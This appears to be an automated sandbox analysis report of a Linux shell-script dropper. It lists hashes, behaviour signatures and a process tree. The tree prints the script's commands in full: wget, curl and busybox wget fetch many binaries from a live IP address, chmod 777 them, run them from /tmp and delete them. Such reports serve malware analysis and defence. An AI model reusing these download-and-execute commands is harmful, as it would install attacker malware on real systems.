Analysis
-
max time kernel
66s -
max time network
67s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
01-11-2024 05:18
Static task
static1
Behavioral task
behavioral1
Sample
baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh
-
Size
10KB
-
MD5
add9df3fe0956071f11080084a31bdeb
-
SHA1
f7ae02765b04a8c8e2a9f9c67fe20acd4516fd05
-
SHA256
baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d
-
SHA512
2e6bd72689deb04f699f94d15949886de251783f5e5c037cd76647fc10b6777f1c7fa1659fbec5e824ef0427e152a3879744edfceed370b4a3213d41749cc84c
-
SSDEEP
96:9aG1ai9mSxkvymsIWTbbSb2bNbUb0bRG+aG1ai0SM9SvVkT7kmiec+vobbSb2bNj:7xkvymsIWTPK7GX
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 733 chmod 745 chmod 859 chmod 877 chmod 895 chmod 801 chmod 973 chmod 814 chmod 901 chmod 937 chmod 943 chmod 808 chmod 889 chmod 907 chmod 913 chmod 919 chmod 931 chmod 961 chmod 739 chmod 768 chmod 865 chmod 967 chmod 835 chmod 925 chmod 949 chmod 871 chmod 955 chmod 883 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe 734 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR 740 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj 746 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs 770 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb 802 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV 809 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ 815 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd 837 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13 860 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13 /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN 866 OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN /tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk 872 FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk /tmp/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw 878 ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw /tmp/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V 884 Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V /tmp/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6 890 T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6 /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe 896 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR 902 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj 908 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs 914 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb 920 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV 926 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ 932 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd 938 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13 944 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13 /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN 950 OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN /tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk 956 FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk /tmp/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw 962 ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw /tmp/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V 968 Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V /tmp/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6 974 T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6 -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 812 curl 813 busybox 816 rm 929 curl 930 busybox 932 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ 933 rm 811 wget 815 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ 928 wget -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR curl File opened for modification /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN curl File opened for modification /tmp/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V curl File opened for modification /tmp/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6 curl File opened for modification /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe curl File opened for modification /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN curl File opened for modification /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb curl File opened for modification /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV curl File opened for modification /tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk curl File opened for modification /tmp/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw curl File opened for modification /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ curl File opened for modification /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj curl File opened for modification /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj curl File opened for modification /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs curl File opened for modification /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb curl File opened for modification /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd curl File opened for modification /tmp/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6 curl File opened for modification /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13 curl File opened for modification /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV curl File opened for modification /tmp/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw curl File opened for modification /tmp/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V curl File opened for modification /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ curl File opened for modification /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13 curl File opened for modification /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe curl File opened for modification /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs curl File opened for modification /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR curl File opened for modification /tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk curl File opened for modification /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd curl
Processes
-
/tmp/baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh/tmp/baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d.sh1⤵PID:701
-
/bin/rm/bin/rm bins.sh2⤵PID:703
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵PID:706
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:723
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵PID:731
-
-
/bin/chmodchmod 777 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵
- File and Directory Permissions Modification
PID:733
-
-
/tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe./tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵
- Executes dropped EXE
PID:734
-
-
/bin/rmrm tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵PID:735
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵PID:736
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:737
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵PID:738
-
-
/bin/chmodchmod 777 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵
- File and Directory Permissions Modification
PID:739
-
-
/tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR./IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵
- Executes dropped EXE
PID:740
-
-
/bin/rmrm IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵PID:741
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵PID:742
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:743
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵PID:744
-
-
/bin/chmodchmod 777 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵
- File and Directory Permissions Modification
PID:745
-
-
/tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj./eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵
- Executes dropped EXE
PID:746
-
-
/bin/rmrm eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵PID:747
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵PID:748
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:755
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵PID:763
-
-
/bin/chmodchmod 777 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵
- File and Directory Permissions Modification
PID:768
-
-
/tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs./7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵
- Executes dropped EXE
PID:770
-
-
/bin/rmrm 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵PID:772
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵PID:774
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:781
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵PID:788
-
-
/bin/chmodchmod 777 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵
- File and Directory Permissions Modification
PID:801
-
-
/tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb./OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵
- Executes dropped EXE
PID:802
-
-
/bin/rmrm OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵PID:803
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵PID:804
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:806
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵PID:807
-
-
/bin/chmodchmod 777 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵
- File and Directory Permissions Modification
PID:808
-
-
/tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV./zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵
- Executes dropped EXE
PID:809
-
-
/bin/rmrm zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵PID:810
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- System Network Configuration Discovery
PID:811
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:812
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- System Network Configuration Discovery
PID:813
-
-
/bin/chmodchmod 777 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- File and Directory Permissions Modification
PID:814
-
-
/tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ./ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:815
-
-
/bin/rmrm ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- System Network Configuration Discovery
PID:816
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵PID:817
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:818
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵PID:829
-
-
/bin/chmodchmod 777 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵
- File and Directory Permissions Modification
PID:835
-
-
/tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd./KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵
- Executes dropped EXE
PID:837
-
-
/bin/rmrm KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵PID:840
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵PID:841
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵
- Reads runtime system information
- Writes file to tmp directory
PID:849
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵PID:858
-
-
/bin/chmodchmod 777 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵
- File and Directory Permissions Modification
PID:859
-
-
/tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13./PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵
- Executes dropped EXE
PID:860
-
-
/bin/rmrm PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵PID:861
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵PID:862
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:863
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵PID:864
-
-
/bin/chmodchmod 777 OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵
- File and Directory Permissions Modification
PID:865
-
-
/tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN./OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵
- Executes dropped EXE
PID:866
-
-
/bin/rmrm OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵PID:867
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵PID:868
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵PID:870
-
-
/bin/chmodchmod 777 FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵
- File and Directory Permissions Modification
PID:871
-
-
/tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk./FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵
- Executes dropped EXE
PID:872
-
-
/bin/rmrm FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵PID:873
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵PID:874
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:875
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵PID:876
-
-
/bin/chmodchmod 777 ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵
- File and Directory Permissions Modification
PID:877
-
-
/tmp/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw./ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵
- Executes dropped EXE
PID:878
-
-
/bin/rmrm ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵PID:879
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵PID:880
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵PID:882
-
-
/bin/chmodchmod 777 Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵
- File and Directory Permissions Modification
PID:883
-
-
/tmp/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V./Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵
- Executes dropped EXE
PID:884
-
-
/bin/rmrm Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵PID:885
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵PID:886
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵PID:888
-
-
/bin/chmodchmod 777 T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵
- File and Directory Permissions Modification
PID:889
-
-
/tmp/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6./T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵
- Executes dropped EXE
PID:890
-
-
/bin/rmrm T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵PID:891
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵PID:892
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵PID:894
-
-
/bin/chmodchmod 777 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵
- File and Directory Permissions Modification
PID:895
-
-
/tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe./tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵
- Executes dropped EXE
PID:896
-
-
/bin/rmrm tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe2⤵PID:897
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵PID:898
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵PID:900
-
-
/bin/chmodchmod 777 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵
- File and Directory Permissions Modification
PID:901
-
-
/tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR./IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵
- Executes dropped EXE
PID:902
-
-
/bin/rmrm IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR2⤵PID:903
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵PID:904
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:905
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵PID:906
-
-
/bin/chmodchmod 777 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵
- File and Directory Permissions Modification
PID:907
-
-
/tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj./eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵
- Executes dropped EXE
PID:908
-
-
/bin/rmrm eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj2⤵PID:909
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵PID:910
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:911
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵PID:912
-
-
/bin/chmodchmod 777 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵
- File and Directory Permissions Modification
PID:913
-
-
/tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs./7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵
- Executes dropped EXE
PID:914
-
-
/bin/rmrm 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs2⤵PID:915
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵PID:916
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:917
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵PID:918
-
-
/bin/chmodchmod 777 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵
- File and Directory Permissions Modification
PID:919
-
-
/tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb./OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵
- Executes dropped EXE
PID:920
-
-
/bin/rmrm OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb2⤵PID:921
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵PID:922
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:923
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵PID:924
-
-
/bin/chmodchmod 777 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵
- File and Directory Permissions Modification
PID:925
-
-
/tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV./zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵
- Executes dropped EXE
PID:926
-
-
/bin/rmrm zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV2⤵PID:927
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- System Network Configuration Discovery
PID:928
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:929
-
-
